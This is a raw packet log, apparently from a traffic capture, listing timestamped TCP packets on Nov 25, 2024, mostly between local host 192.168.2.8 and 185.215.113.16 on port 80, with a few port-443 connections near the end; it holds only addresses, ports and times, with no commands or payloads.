Nov 25, 2024 03:40:05.066425085 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.066435099 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.066442013 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.066446066 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.066453934 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.066457033 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.066468000 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.066478968 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.066478968 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.066489935 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.066500902 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.066505909 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.066512108 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.066523075 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.066538095 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.066561937 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.066759109 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.066776991 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.066797972 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.066812038 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.066937923 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.066950083 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.066961050 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.066972017 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.066977024 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.066983938 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.066989899 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.066994905 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.066999912 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.067002058 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.067006111 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.067017078 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.067027092 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.067032099 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.067039013 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.067049026 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.067051888 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.067059040 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.067070007 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.067102909 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.141071081 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.141119003 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.141180038 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.141216993 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.141520977 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.141568899 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.141572952 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.141624928 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.142647982 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.142708063 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.142741919 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.142772913 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.143781900 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.143830061 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.143865108 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.143907070 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.184622049 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.184658051 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.184734106 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.184734106 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.184748888 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.184803963 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.185933113 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.185988903 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.186043978 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.186105967 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.186891079 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.186942101 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.187000036 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.187062025 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.187968969 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.188076019 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.188102007 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.188117981 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.189131975 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.189269066 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.189299107 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.189342022 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.190061092 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.190114975 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.190201998 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.190243959 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.190884113 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.191030979 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.191039085 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.191070080 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.191747904 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.191797018 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.191854000 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.191955090 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.192639112 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.192764044 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.192812920 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.193505049 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.193569899 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.193581104 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.193608046 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.194334984 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.194430113 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.194468021 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.194509029 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.195204020 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.195269108 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.195300102 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.195389032 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.196069956 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.196118116 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.196146011 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.196182966 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.196964025 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.197077036 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.197123051 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.197794914 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.197850943 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.197901011 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.197942019 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.198666096 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.198715925 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.198771000 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.198903084 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.199533939 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.199587107 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.199615955 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.199664116 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.200381041 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.200473070 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.200501919 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.200540066 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.201252937 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.201293945 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.201354980 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.201431036 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.202120066 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.202162981 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.202212095 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.202266932 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.202950954 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.203016996 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.203088999 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.203162909 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.203824997 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.203881979 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.203936100 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.203974962 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.204715014 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.204802036 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.204809904 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.204835892 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.205590010 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.205636024 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.205696106 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.205766916 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.206418037 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.206474066 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.206527948 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.206574917 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.207323074 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.207369089 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.207709074 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.207819939 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.207864046 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.208589077 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.208636999 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.208692074 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.208754063 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.209471941 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.209579945 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.209609985 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.209631920 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.210330963 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.210388899 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.210418940 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.210457087 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.211188078 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.211227894 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.211261988 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.211447001 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.212044954 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.212093115 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.212138891 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.212184906 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.212907076 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.212975025 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.213011026 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.213052988 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.213778973 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.213824987 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.213884115 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.213947058 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.214672089 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.214684963 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.214719057 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.214735031 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.215517044 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.215612888 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.215660095 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.216423035 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.216475010 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.216516018 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.216556072 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.217227936 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.217271090 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.217350960 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.217391014 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.218092918 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.218133926 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.218199015 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.218245983 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.218971014 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.219014883 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.219093084 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.219193935 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.219815969 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.219871044 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.219913006 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.219964981 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.220683098 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.220729113 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.220807076 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.220952034 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.221574068 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.221664906 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.221687078 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.221807957 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.222412109 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.222495079 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.222523928 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.222563028 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.223287106 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.223361015 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.223462105 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.223680019 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.224159956 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.224203110 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.224353075 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.224431038 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.225039959 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.225083113 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.225120068 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.225157976 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.225868940 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.225915909 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.225967884 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.226006031 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.226754904 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.226802111 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.226855993 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.226902008 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.227544069 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.227588892 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.342196941 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.342282057 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.342298985 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.342387915 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.342605114 CET	49794	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:40:05.342608929 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.342628956 CET	443	49794	172.64.41.3	192.168.2.8
Nov 25, 2024 03:40:05.342704058 CET	49795	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:40:05.342721939 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.342756033 CET	443	49795	172.64.41.3	192.168.2.8
Nov 25, 2024 03:40:05.342783928 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.342818975 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.343487024 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.343487978 CET	49843	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:05.343523979 CET	443	49843	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:05.343565941 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.343575001 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.343605042 CET	49843	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:05.343626976 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.343970060 CET	49843	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:05.343980074 CET	443	49843	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:05.344342947 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.344419003 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.344441891 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.344474077 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.345233917 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.345280886 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.345312119 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.345312119 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.346060038 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.346127987 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.346153975 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.346302986 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.346944094 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.346998930 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.347002029 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.347078085 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.347793102 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.347843885 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.347901106 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.347938061 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.348647118 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.348725080 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.348762035 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.348870039 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.349528074 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.349577904 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.349634886 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.349680901 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.350382090 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.350434065 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.350490093 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.350601912 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.351262093 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.351309061 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.351383924 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.351548910 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.352106094 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.352155924 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.352212906 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.352278948 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.353007078 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.353058100 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.353096008 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.353146076 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.353854895 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.353908062 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.353945971 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.354140043 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.354701996 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.354773998 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.354814053 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.354907990 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.355571985 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.355623007 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.355696917 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.356044054 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.356431961 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.356554985 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.356595993 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.357309103 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.357357979 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.357439041 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.357600927 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.358163118 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.358208895 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.358217955 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.358257055 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:05.359030962 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:05.359081984 CET	49841	80	192.168.2.8	185.215.113.16
